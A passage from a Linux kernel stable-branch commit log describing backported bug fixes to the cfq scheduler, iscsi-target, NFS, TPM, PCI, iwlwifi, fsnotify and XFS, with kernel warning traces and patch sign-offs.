a process with realtime scheduling priority, then a cfq_queue is allocated, but filed into the wrong async_cfqq bucket. It ends up in the best effort array, but actually has realtime I/O scheduling priority set in cfqq->ioprio. The reason is that cfq_get_queue assumes the default scheduling class and priority when there is no information present (i.e. when the async cfqq is created): static struct cfq_queue * cfq_get_queue(struct cfq_data *cfqd, bool is_sync, struct cfq_io_cq *cic, struct bio *bio, gfp_t gfp_mask) { const int ioprio_class = IOPRIO_PRIO_CLASS(cic->ioprio); const int ioprio = IOPRIO_PRIO_DATA(cic->ioprio); cic->ioprio starts out as 0, which is "invalid". So, class of 0 (IOPRIO_CLASS_NONE) is passed to cfq_async_queue_prio like so: async_cfqq = cfq_async_queue_prio(cfqd, ioprio_class, ioprio); static struct cfq_queue ** cfq_async_queue_prio(struct cfq_data *cfqd, int ioprio_class, int ioprio) { switch (ioprio_class) { case IOPRIO_CLASS_RT: return &cfqd->async_cfqq[0][ioprio]; case IOPRIO_CLASS_NONE: ioprio = IOPRIO_NORM; /* fall through */ case IOPRIO_CLASS_BE: return &cfqd->async_cfqq[1][ioprio]; case IOPRIO_CLASS_IDLE: return &cfqd->async_idle_cfqq; default: BUG(); } } Here, instead of returning a class mapped from the process' scheduling priority, we get back the bucket associated with IOPRIO_CLASS_BE. Now, there is no queue allocated there yet, so we create it: cfqq = cfq_find_alloc_queue(cfqd, is_sync, cic, bio, gfp_mask); That function ends up doing this: cfq_init_cfqq(cfqd, cfqq, current->pid, is_sync); cfq_init_prio_data(cfqq, cic); cfq_init_cfqq marks the priority as having changed. Then, cfq_init_prio data does this: ioprio_class = IOPRIO_PRIO_CLASS(cic->ioprio); switch (ioprio_class) { default: printk(KERN_ERR "cfq: bad prio %x\n", ioprio_class); case IOPRIO_CLASS_NONE: /* * no prio set, inherit CPU scheduling settings */ cfqq->ioprio = task_nice_ioprio(tsk); cfqq->ioprio_class = task_nice_ioclass(tsk); break; So we basically have two code paths that treat IOPRIO_CLASS_NONE differently, which results in an RT async cfqq filed into a best effort bucket. Attached is a patch which fixes the problem. I'm not sure how to make it cleaner. Suggestions would be welcome. Signed-off-by: Jeff Moyer Tested-by: Hidehiro Kawai Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ab1363da410a970d8a16ab732f960390c2c00823 Author: Konstantin Khlebnikov Date: Mon Feb 9 16:42:49 2015 +0300 cfq-iosched: handle failure of cfq group allocation commit 69abaffec7d47a083739b79e3066cb3730eba72e upstream. Cfq_lookup_create_cfqg() allocates struct blkcg_gq using GFP_ATOMIC. In cfq_find_alloc_queue() possible allocation failure is not handled. As a result kernel oopses on NULL pointer dereference when cfq_link_cfqq_cfqg() calls cfqg_get() for NULL pointer. Bug was introduced in v3.5 in commit cd1604fab4f9 ("blkcg: factor out blkio_group creation"). Prior to that commit cfq group lookup had returned pointer to root group as fallback. This patch handles this error using existing fallback oom_cfqq. Signed-off-by: Konstantin Khlebnikov Acked-by: Tejun Heo Acked-by: Vivek Goyal Fixes: cd1604fab4f9 ("blkcg: factor out blkio_group creation") Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c521bd72f011250242e1ac1e0cb7f593539a8d8f Author: Nicholas Bellinger Date: Thu Jan 22 00:56:53 2015 -0800 iscsi-target: Drop problematic active_ts_list usage commit 3fd7b60f2c7418239d586e359e0c6d8503e10646 upstream. This patch drops legacy active_ts_list usage within iscsi_target_tq.c code. It was originally used to track the active thread sets during iscsi-target shutdown, and is no longer used by modern upstream code. Two people have reported list corruption using traditional iscsi-target and iser-target with the following backtrace, that appears to be related to iscsi_thread_set->ts_list being used across both active_ts_list and inactive_ts_list. [ 60.782534] ------------[ cut here ]------------ [ 60.782543] WARNING: CPU: 0 PID: 9430 at lib/list_debug.c:53 __list_del_entry+0x63/0xd0() [ 60.782545] list_del corruption, ffff88045b00d180->next is LIST_POISON1 (dead000000100100) [ 60.782546] Modules linked in: ib_srpt tcm_qla2xxx qla2xxx tcm_loop tcm_fc libfc scsi_transport_fc scsi_tgt ib_isert rdma_cm iw_cm ib_addr iscsi_target_mod target_core_pscsi target_core_file target_core_iblock target_core_mod configfs ebtable_nat ebtables ipt_MASQUERADE iptable_nat nf_nat_ipv4 nf_nat nf_conntrack_ipv4 nf_defrag_ipv4 ipt_REJECT xt_CHECKSUM iptable_mangle iptable_filter ip_tables bridge stp llc autofs4 sunrpc ip6t_REJECT nf_conntrack_ipv6 nf_defrag_ipv6 xt_state nf_conntrack ip6table_filter ip6_tables ipv6 ib_ipoib ib_cm ib_uverbs ib_umad mlx4_en mlx4_ib ib_sa ib_mad ib_core mlx4_core dm_mirror dm_region_hash dm_log dm_mod vhost_net macvtap macvlan vhost tun kvm_intel kvm uinput iTCO_wdt iTCO_vendor_support microcode serio_raw pcspkr sb_edac edac_core sg i2c_i801 lpc_ich mfd_core mtip32xx igb i2c_algo_bit i2c_core ptp pps_core ioatdma dca wmi ext3(F) jbd(F) mbcache(F) sd_mod(F) crc_t10dif(F) crct10dif_common(F) ahci(F) libahci(F) isci(F) libsas(F) scsi_transport_sas(F) [last unloaded: speedstep_lib] [ 60.782597] CPU: 0 PID: 9430 Comm: iscsi_ttx Tainted: GF 3.12.19+ #2 [ 60.782598] Hardware name: Supermicro X9DRX+-F/X9DRX+-F, BIOS 3.00 07/09/2013 [ 60.782599] 0000000000000035 ffff88044de31d08 ffffffff81553ae7 0000000000000035 [ 60.782602] ffff88044de31d58 ffff88044de31d48 ffffffff8104d1cc 0000000000000002 [ 60.782605] ffff88045b00d180 ffff88045b00d0c0 ffff88045b00d0c0 ffff88044de31e58 [ 60.782607] Call Trace: [ 60.782611] [] dump_stack+0x49/0x62 [ 60.782615] [] warn_slowpath_common+0x8c/0xc0 [ 60.782618] [] warn_slowpath_fmt+0x46/0x50 [ 60.782620] [] __list_del_entry+0x63/0xd0 [ 60.782622] [] list_del+0x11/0x40 [ 60.782630] [] iscsi_del_ts_from_active_list+0x29/0x50 [iscsi_target_mod] [ 60.782635] [] iscsi_tx_thread_pre_handler+0xa1/0x180 [iscsi_target_mod] [ 60.782642] [] iscsi_target_tx_thread+0x4e/0x220 [iscsi_target_mod] [ 60.782647] [] ? iscsit_handle_snack+0x190/0x190 [iscsi_target_mod] [ 60.782652] [] ? iscsit_handle_snack+0x190/0x190 [iscsi_target_mod] [ 60.782655] [] kthread+0xce/0xe0 [ 60.782657] [] ? kthread_freezable_should_stop+0x70/0x70 [ 60.782660] [] ret_from_fork+0x7c/0xb0 [ 60.782662] [] ? kthread_freezable_should_stop+0x70/0x70 [ 60.782663] ---[ end trace 9662f4a661d33965 ]--- Since this code is no longer used, go ahead and drop the problematic usage all-together. Reported-by: Gavin Guo Reported-by: Moussa Ba Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9a57c2ed168493ac4db353bb6790ee94f29612b Author: Trond Myklebust Date: Wed Feb 11 17:27:55 2015 -0500 NFSv4.1: Fix a kfree() of uninitialised pointers in decode_cb_sequence_args commit d8ba1f971497c19cf80da1ea5391a46a5f9fbd41 upstream. If the call to decode_rc_list() fails due to a memory allocation error, then we need to truncate the array size to ensure that we only call kfree() on those pointer that were allocated. Reported-by: David Ramos Fixes: 4aece6a19cf7f ("nfs41: cb_sequence xdr implementation") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb813d8236f2e7f09485daab4b8b3543c6775db3 Author: honclo Date: Thu Feb 12 21:02:24 2015 -0500 Added Little Endian support to vtpm module commit eb71f8a5e33fa1066fb92f0111ab366a341e1f6c upstream. The tpm_ibmvtpm module is affected by an unaligned access problem. ibmvtpm_crq_get_version failed with rc=-4 during boot when vTPM is enabled in Power partition, which supports both little endian and big endian modes. We added little endian support to fix this problem: 1) added cpu_to_be64 calls to ensure BE data is sent from an LE OS. 2) added be16_to_cpu and be32_to_cpu calls to make sure data received is in LE format on a LE OS. Signed-off-by: Hon Ching(Vicky) Lo Signed-off-by: Joy Latten [phuewe: manually applied the patch :( ] Reviewed-by: Ashley Lai Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fb5a98f161c3b5c3e374b2ac8ff0c96e6e4ce9bf Author: Christophe Ricard Date: Mon Dec 1 19:32:46 2014 +0100 tpm/tpm_i2c_stm_st33: Fix potential bug in tpm_stm_i2c_send commit 1ba3b0b6f218072afe8372d12f1b6bf26a26008e upstream. When sending data in tpm_stm_i2c_send, each loop iteration send buf. Send buf + i instead as the goal of this for loop is to send a number of byte from buf that fit in burstcnt. Once those byte are sent, we are supposed to send the next ones. The driver was working because the burstcount value returns always the maximum size for a TPM command or response. (0x800 for a command and 0x400 for a response). Reviewed-by: Jason Gunthorpe Signed-off-by: Christophe Ricard Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6434806d3e10252de0fdcc4107446a7a8b1d60a1 Author: Hon Ching (Vicky) Lo Date: Sun Nov 30 15:01:28 2014 +0100 tpm: Fix NULL return in tpm_ibmvtpm_get_desired_dma commit 84eb186bc37c0900b53077ca21cf6dd15823a232 upstream. There was an oops in tpm_ibmvtpm_get_desired_dma, which caused kernel panic during boot when vTPM is enabled in Power partition configured in AMS mode. vio_bus_probe calls vio_cmo_bus_probe which calls tpm_ibmvtpm_get_desired_dma to get the size needed for DMA allocation. The problem is, vio_cmo_bus_probe is called before calling probe, which for vtpm is tpm_ibmvtpm_probe and it's this function that initializes and sets up vtpm's CRQ and gets required data values. Therefore, since this has not yet been done, NULL is returned in attempt to get the size for DMA allocation. We added a NULL check. In addition, a default buffer size will be set when NULL is returned. Signed-off-by: Hon Ching (Vicky) Lo Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad1d95e68e8cfffcfcd755e61bc21b991a9bbd16 Author: Scot Doyle Date: Wed Sep 24 22:41:10 2014 +0000 tpm_tis: verify interrupt during init commit 448e9c55c12d6bd4fa90a7e31d802e045666d7c8 upstream. Some machines, such as the Acer C720 and Toshiba CB35, have TPMs that do not send IRQs while also having an ACPI TPM entry indicating that they will be sent. These machines freeze on resume while the tpm_tis module waits for an IRQ, eventually timing out. When in interrupt mode, the tpm_tis module should receive an IRQ during module init. Fall back to polling mode if none is received when expected. Signed-off-by: Scot Doyle Tested-by: Michael Mullin Reviewed-by: Jason Gunthorpe [phuewe: minor checkpatch fixed] Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 48a080849eccd87732ac40afd532ab98e30d1df7 Author: Dmitry Eremin-Solenikov Date: Thu Jan 15 03:06:22 2015 +0100 ARM: 8284/1: sa1100: clear RCSR_SMR on resume commit e461894dc2ce7778ccde1c3483c9b15a85a7fc5f upstream. StrongARM core uses RCSR SMR bit to tell to bootloader that it was reset by entering the sleep mode. After we have resumed, there is little point in having that bit enabled. Moreover, if this bit is set before reboot, the bootloader can become confused. Thus clear the SMR bit on resume just before clearing the scratchpad (resume address) register. Signed-off-by: Dmitry Eremin-Solenikov Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac1e8c0fde6995b981b631f9f70e3097efe3d3bd Author: James Hogan Date: Thu May 29 10:16:32 2014 +0100 MIPS: KVM: Deliver guest interrupts after local_irq_disable() commit 044f0f03eca0110e1835b2ea038a484b93950328 upstream. When about to run the guest, deliver guest interrupts after disabling host interrupts. This should prevent an hrtimer interrupt from being handled after delivering guest interrupts, and therefore not delivering the guest timer interrupt until after the next guest exit. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: Gleb Natapov Cc: kvm@vger.kernel.org Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: Sanjay Lal Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1757cf2c8fe17b6a3aa4486d3890b2f7fb294f1 Author: Jeff Layton Date: Wed Jan 14 13:08:57 2015 -0500 nfs: don't call blocking operations while !TASK_RUNNING commit 6ffa30d3f734d4f6b478081dfc09592021028f90 upstream. Bruce reported seeing this warning pop when mounting using v4.1: ------------[ cut here ]------------ WARNING: CPU: 1 PID: 1121 at kernel/sched/core.c:7300 __might_sleep+0xbd/0xd0() do not call blocking ops when !TASK_RUNNING; state=1 set at [] prepare_to_wait+0x2f/0x90 Modules linked in: rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace sunrpc fscache ip6t_rpfilter ip6t_REJECT nf_reject_ipv6 xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw snd_hda_codec_generic snd_hda_intel snd_hda_controller snd_hda_codec snd_hwdep snd_pcm snd_timer ppdev joydev snd virtio_console virtio_balloon pcspkr serio_raw parport_pc parport pvpanic floppy soundcore i2c_piix4 virtio_blk virtio_net qxl drm_kms_helper ttm drm virtio_pci virtio_ring ata_generic virtio pata_acpi CPU: 1 PID: 1121 Comm: nfsv4.1-svc Not tainted 3.19.0-rc4+ #25 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 0000000000000000 000000004e5e3f73 ffff8800b998fb48 ffffffff8186ac78 0000000000000000 ffff8800b998fba0 ffff8800b998fb88 ffffffff810ac9da ffff8800b998fb68 ffffffff81c923e7 00000000000004d9 0000000000000000 Call Trace: [] dump_stack+0x4c/0x65 [] warn_slowpath_common+0x8a/0xc0 [] warn_slowpath_fmt+0x55/0x70 [] ? prepare_to_wait+0x2f/0x90 [] ? prepare_to_wait+0x2f/0x90 [] __might_sleep+0xbd/0xd0 [] kmem_cache_alloc_trace+0x243/0x430 [] ? groups_alloc+0x3e/0x130 [] groups_alloc+0x3e/0x130 [] svcauth_unix_accept+0x16e/0x290 [sunrpc] [] svc_authenticate+0xe1/0xf0 [sunrpc] [] svc_process_common+0x244/0x6a0 [sunrpc] [] bc_svc_process+0x1c4/0x260 [sunrpc] [] nfs41_callback_svc+0x128/0x1f0 [nfsv4] [] ? wait_woken+0xc0/0xc0 [] ? nfs4_callback_svc+0x60/0x60 [nfsv4] [] kthread+0x11f/0x140 [] ? local_clock+0x15/0x30 [] ? kthread_create_on_node+0x250/0x250 [] ret_from_fork+0x7c/0xb0 [] ? kthread_create_on_node+0x250/0x250 ---[ end trace 675220a11e30f4f2 ]--- nfs41_callback_svc does most of its work while in TASK_INTERRUPTIBLE, which is just wrong. Fix that by finishing the wait immediately if we've found that the list has something on it. Also, we don't expect this kthread to accept signals, so we should be using a TASK_UNINTERRUPTIBLE sleep instead. That however, opens us up hung task warnings from the watchdog, so have the schedule_timeout wake up every 60s if there's no callback activity. Reported-by: "J. Bruce Fields" Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c4570f2f0766b5f67dd02ccc173c0a7ec0a1f7d Author: Jisheng Zhang Date: Wed Jan 28 19:54:12 2015 +0800 mmc: sdhci-pxav3: fix setting of pdata->clk_delay_cycles commit 14460dbaf7a5a0488963fdb8232ad5c8a8cca7b7 upstream. Current code checks "clk_delay_cycles > 0" to know whether the optional "mrvl,clk_delay_cycles" is set or not. But of_property_read_u32() doesn't touch clk_delay_cycles if the property is not set. And type of clk_delay_cycles is u32, so we may always set pdata->clk_delay_cycles as a random value. This patch fix this problem by check the return value of of_property_read_u32() to know whether the optional clk-delay-cycles is set or not. Signed-off-by: Jisheng Zhang Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cd95de6982bb595f63cf67c1e30b1ce48e379dda Author: Krzysztof Kozlowski Date: Tue Jan 27 16:51:54 2015 +0100 power_supply: 88pm860x: Fix leaked power supply on probe fail commit 24727b45b484e8937dcde53fa8d1aa70ac30ec0c upstream. Driver forgot to unregister power supply if request_threaded_irq() failed in probe(). In such case the memory associated with power supply leaked. Signed-off-by: Krzysztof Kozlowski Fixes: a830d28b48bf ("power_supply: Enable battery-charger for 88pm860x") Signed-off-by: Sebastian Reichel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 27d9f307d79b95d5fce327b28c477567dd7b4e91 Author: Adrian Knoth Date: Tue Feb 10 11:33:50 2015 +0100 ALSA: hdspm - Constrain periods to 2 on older cards commit f0153c3d948c1764f6c920a0675d86fc1d75813e upstream. RME RayDAT and AIO use a fixed buffer size of 16384 samples. With period sizes of 32-4096, this translates to 4-512 periods. The older RME cards have a variable buffer size but require exactly two periods. This patch enforces nperiods=2 on those cards. Signed-off-by: Adrian Knoth Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f93b1fe7c183a9dc8f76c69ccc9b3c35a1a516e1 Author: Dan Carpenter Date: Mon Feb 9 16:51:40 2015 +0300 ALSA: off by one bug in snd_riptide_joystick_probe() commit e4940626defdf6c92da1052ad3f12741c1a28c90 upstream. The problem here is that we check: if (dev >= SNDRV_CARDS) Then we increment "dev". if (!joystick_port[dev++]) Then we use it as an offset into a array with SNDRV_CARDS elements. if (!request_region(joystick_port[dev], 8, "Riptide gameport")) { This has 3 effects: 1) If you use the module option to specify the joystick port then it has to be shifted one space over. 2) The wrong error message will be printed on failure if you have over 32 cards. 3) Static checkers will correctly complain that are off by one. Fixes: db1005ec6ff8 ('ALSA: riptide - Fix joystick resource handling') Signed-off-by: Dan Carpenter Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f1879c8c51a53d3c9c50b26b8e75cda72341ef84 Author: Malcolm Priestley Date: Fri Jan 2 10:56:28 2015 -0300 lmedm04: Fix usb_submit_urb BOGUS urb xfer, pipe 1 != type 3 in interrupt urb commit 15e1ce33182d1d5dbd8efe8d382b9352dc857527 upstream. A quirk of some older firmwares that report endpoint pipe type as PIPE_BULK but the endpoint otheriwse functions as interrupt. Check if usb_endpoint_type is USB_ENDPOINT_XFER_BULK and set as usb_rcvbulkpipe. Signed-off-by: Malcolm Priestley Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16f2a37e58437cbaca0667d891ce399b2e819488 Author: Mikulas Patocka Date: Mon Feb 9 13:38:17 2015 -0500 cpufreq: speedstep-smi: enable interrupts when waiting commit d4d4eda23794c701442e55129dd4f8f2fefd5e4d upstream. On Dell Latitude C600 laptop with Pentium 3 850MHz processor, the speedstep-smi driver sometimes loads and sometimes doesn't load with "change to state X failed" message. The hardware sometimes refuses to change frequency and in this case, we need to retry later. I found out that we need to enable interrupts while waiting. When we enable interrupts, the hardware blockage that prevents frequency transition resolves and the transition is possible. With disabled interrupts, the blockage doesn't resolve (no matter how long do we wait). The exact reasons for this hardware behavior are unknown. This patch enables interrupts in the function speedstep_set_state that can be called with disabled interrupts. However, this function is called with disabled interrupts only from speedstep_get_freqs, so it shouldn't cause any problem. Signed-off-by: Mikulas Patocka Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f4372d281e6dd578aecb4f895a5e2e3a2babef6 Author: Michel Dänzer Date: Mon Jan 19 17:53:20 2015 +0900 PCI: Fix infinite loop with ROM image of size 0 commit 16b036af31e1456cb69243a5a0c9ef801ecd1f17 upstream. If the image size would ever read as 0, pci_get_rom_size() could keep processing the same image over and over again. Exit the loop if we ever read a length of zero. This fixes a soft lockup on boot when the radeon driver calls pci_get_rom_size() on an AMD Radeon R7 250X PCIe discrete graphics card. [bhelgaas: changelog, reference] Link: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1386973 Reported-by: Federico Signed-off-by: Michel Dänzer Signed-off-by: Bjorn Helgaas Reviewed-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 39a1084df60b9a34aac68fd2a4dd249f6bd2f21d Author: Ricardo Ribalda Delgado Date: Tue Dec 2 17:35:04 2014 +0100 PCI: Generate uppercase hex for modalias var in uevent commit 145b3fe579db66fbe999a2bc3fd5b63dffe9636d upstream. Some implementations of modprobe fail to load the driver for a PCI device automatically because the "interface" part of the modalias from the kernel is lowercase, and the modalias from file2alias is uppercase. The "interface" is the low-order byte of the Class Code, defined in PCI r3.0, Appendix D. Most interface types defined in the spec do not use alpha characters, so they won't be affected. For example, 00h, 01h, 10h, 20h, etc. are unaffected. Print the "interface" byte of the Class Code in uppercase hex, as we already do for the Vendor ID, Device ID, Class, etc. Commit 89ec3dcf17fd ("PCI: Generate uppercase hex for modalias interface class") fixed only half of the problem. Some udev implementations rely on the uevent file and not the modalias file. Fixes: d1ded203adf1 ("PCI: add MODALIAS to hotplug event for pci devices") Fixes: 89ec3dcf17fd ("PCI: Generate uppercase hex for modalias interface class") Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Bjorn Helgaas Acked-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e305077b8b9b4e0bf8cfc5d410cba9251c7ab345 Author: Seth Forshee Date: Fri Feb 20 11:45:11 2015 -0600 HID: i2c-hid: Limit reads to wMaxInputLength bytes for input events commit 6d00f37e49d95e640a3937a4a1ae07dbe92a10cb upstream. d1c7e29e8d27 (HID: i2c-hid: prevent buffer overflow in early IRQ) changed hid_get_input() to read ihid->bufsize bytes, which can be more than wMaxInputLength. This is the case with the Dell XPS 13 9343, and it is causing events to be missed. In some cases the missed events are releases, which can cause the cursor to jump or freeze, among other problems. Limit the number of bytes read to min(wMaxInputLength, ihid->bufsize) to prevent such problems. Fixes: d1c7e29e8d27 "HID: i2c-hid: prevent buffer overflow in early IRQ" Signed-off-by: Seth Forshee Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cfaff6c85a92f4fd36786786c80ecc900042f63 Author: Luciano Coelho Date: Thu Jan 29 12:48:20 2015 +0200 iwlwifi: mvm: always use mac color zero commit 5523d11cc46393a1e61b7ef4a0b2d4e7ed9521e4 upstream. We don't really need to use different mac colors when adding mac contexts, because they're not used anywhere. In fact, the firmware doesn't accept 255 as a valid color, so we get into a SYSASSERT 0x3401 when we reach that. Remove the color increment to use always zero and avoid reaching 255. Signed-off-by: Luciano Coelho Reviewed-by: Johannes Berg Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9973efaf1121d1288803688810c8c4fe023f1851 Author: Luciano Coelho Date: Tue Jan 27 15:06:57 2015 +0200 iwlwifi: mvm: fix failure path when power_update fails in add_interface commit fd66fc1cafd72ddf27dbec3a5e29e99839d1bc84 upstream. When iwl_mvm_power_update_mac() is called, we have already added the mac context, so if this call fails we should remove the mac. Fixes: commit e5e7aa8e2561 ('iwlwifi: mvm: refactor power code') Signed-off-by: Luciano Coelho Reviewed-by: Johannes Berg Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd2de3c3dc102fb794a61f314b78d1ec447377c7 Author: Eyal Shapira Date: Fri Jan 16 11:09:30 2015 +0200 iwlwifi: mvm: validate tid and sta_id in ba_notif commit 2cee4762c528a9bd2cdff793197bf591a2196c11 upstream. These are coming from the FW and are used to access arrays. Bad values can cause an out of bounds access so discard such ba_notifs and warn. Signed-off-by: Eyal Shapira Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c47d4a823113495e39d58fa909f4005c7dd30aef Author: Emmanuel Grumbach Date: Thu Jan 29 21:34:00 2015 +0200 iwlwifi: pcie: disable the SCD_BASE_ADDR when we resume from WoWLAN commit cd8f438405032ac8ff88bd8f2eca5e0c0063b14b upstream. The base address of the scheduler in the device's memory (SRAM) comes from two different sources. The periphery register and the alive notification from the firmware. We have a check in iwl_pcie_tx_start that ensures that they are the same. When we resume from WoWLAN, the firmware may have crashed for whatever reason. In that case, the whole device may be reset which means that the periphery register will hold a meaningless value. When we come to compare trans_pcie->scd_base_addr (which really holds the value we had when we loaded the WoWLAN firmware upon suspend) and the current value of the register, we don't see a match unsurprisingly. Trick the check to avoid a loud yet harmless WARN. Note that when the WoWLAN has crashed, we will see that in iwl_trans_pcie_d3_resume which will let the op_mode know. Once the op_mode is informed that the WowLAN firmware has crashed, it can't do much besides resetting the whole device. Reviewed-by: Johannes Berg Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ec99fab94239f7d13eefa19b7f242c6ebff77e4 Author: Jan Kara Date: Tue Feb 10 14:08:32 2015 -0800 fsnotify: fix handling of renames in audit commit 6ee8e25fc3e916193bce4ebb43d5439e1e2144ab upstream. Commit e9fd702a58c4 ("audit: convert audit watches to use fsnotify instead of inotify") broke handling of renames in audit. Audit code wants to update inode number of an inode corresponding to watched name in a directory. When something gets renamed into a directory to a watched name, inotify previously passed moved inode to audit code however new fsnotify code passes directory inode where the change happened. That confuses audit and it starts watching parent directory instead of a file in a directory. This can be observed for example by doing: cd /tmp touch foo bar auditctl -w /tmp/foo touch foo mv bar foo touch foo In audit log we see events like: type=CONFIG_CHANGE msg=audit(1423563584.155:90): auid=1000 ses=2 op="updated rules" path="/tmp/foo" key=(null) list=4 res=1 ... type=PATH msg=audit(1423563584.155:91): item=2 name="bar" inode=1046884 dev=08:0 2 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=DELETE type=PATH msg=audit(1423563584.155:91): item=3 name="foo" inode=1046842 dev=08:0 2 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=DELETE type=PATH msg=audit(1423563584.155:91): item=4 name="foo" inode=1046884 dev=08:0 2 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE ... and that's it - we see event for the first touch after creating the audit rule, we see events for rename but we don't see any event for the last touch. However we start seeing events for unrelated stuff happening in /tmp. Fix the problem by passing moved inode as data in the FS_MOVED_FROM and FS_MOVED_TO events instead of the directory where the change happens. This doesn't introduce any new problems because noone besides audit_watch.c cares about the passed value: fs/notify/fanotify/fanotify.c cares only about FSNOTIFY_EVENT_PATH events. fs/notify/dnotify/dnotify.c doesn't care about passed 'data' value at all. fs/notify/inotify/inotify_fsnotify.c uses 'data' only for FSNOTIFY_EVENT_PATH. kernel/audit_tree.c doesn't care about passed 'data' at all. kernel/audit_watch.c expects moved inode as 'data'. Fixes: e9fd702a58c49db ("audit: convert audit watches to use fsnotify instead of inotify") Signed-off-by: Jan Kara Cc: Paul Moore Cc: Eric Paris Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 218f2c9b89c0bbac8eda9a49631f80d99480b2d0 Author: Dave Chinner Date: Thu Jan 22 09:30:23 2015 +1100 xfs: set superblock buffer type correctly commit 3443a3bca54588f43286b725d8648d33a38c86f1 upstream. When the superblock is modified in a transaction, the commonly modified fields are not actually copied to the superblock buffer to avoid the buffer lock becoming a serialisation point. However, there are some other operations that modify the superblock fields within the transaction that don't directly log to the superblock but rely on the changes to be applied during the transaction commit (to minimise the buffer lock hold time). When we do this, we fail to mark the buffer log item as being a superblock buffer and that can lead to the buffer not being marked with the corect type in the log and hence causing recovery issues. Fix it by setting the type correctly, similar to xfs_mod_sb()... Tested-by: Jan Kara Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52835de8580914dff3970e1538807f67e9983341 Author: Dave Chinner Date: Thu Jan 22 09:29:40 2015 +1100 xfs: inode unlink does not set AGI buffer type commit f19b872b086711bb4b22c3a0f52f16aa920bcc61 upstream. This leads to log recovery throwing errors like: XFS (md0): Mounting V5 Filesystem XFS (md0): Starting recovery (logdev: internal) XFS (md0): Unknown buffer type 0! XFS (md0): _xfs_buf_ioapply: no ops on block 0xaea8802/0x1 ffff8800ffc53800: 58 41 47 49 ..... Which is the AGI buffer magic number. Ensure that we set the type appropriately in both unlink list addition and removal. Tested-by: Jan Kara Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a99788d0616fd396276519feeb268a3e552302b Author: Dave Chinner Date: Thu Jan 22 09:29:05 2015 +1100 xfs: ensure buffer types are set correctly commit 0d612fb570b71ea2e49554a770cff4c489018b2c upstream. Jan Kara reported that log recovery was finding buffers with invalid types in them. This should not happen, and indicates a bug in the logging of buffers. To catch this, add asserts to the buffer formatting code to ensure that the buffer type is in range when the transaction is committed. We don't set a type on buffers being marked stale - they are not going to get replayed, the format item exists only for recovery to be able to prevent replay of the buffer, so the type does not matter. Hence that needs special casing here. Reported-by: Jan Kara Tested-by: Jan Kara Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08afa0e86d3ad7971da62c3438cef83f54fc10fc Author: Adam Lee Date: Wed Jan 28 15:30:27 2015 -0500 Bluetooth: ath3k: workaround the compatibility issue with xHCI controller commit c561a5753dd631920c4459a067d22679b3d110d6 upstream. BugLink: 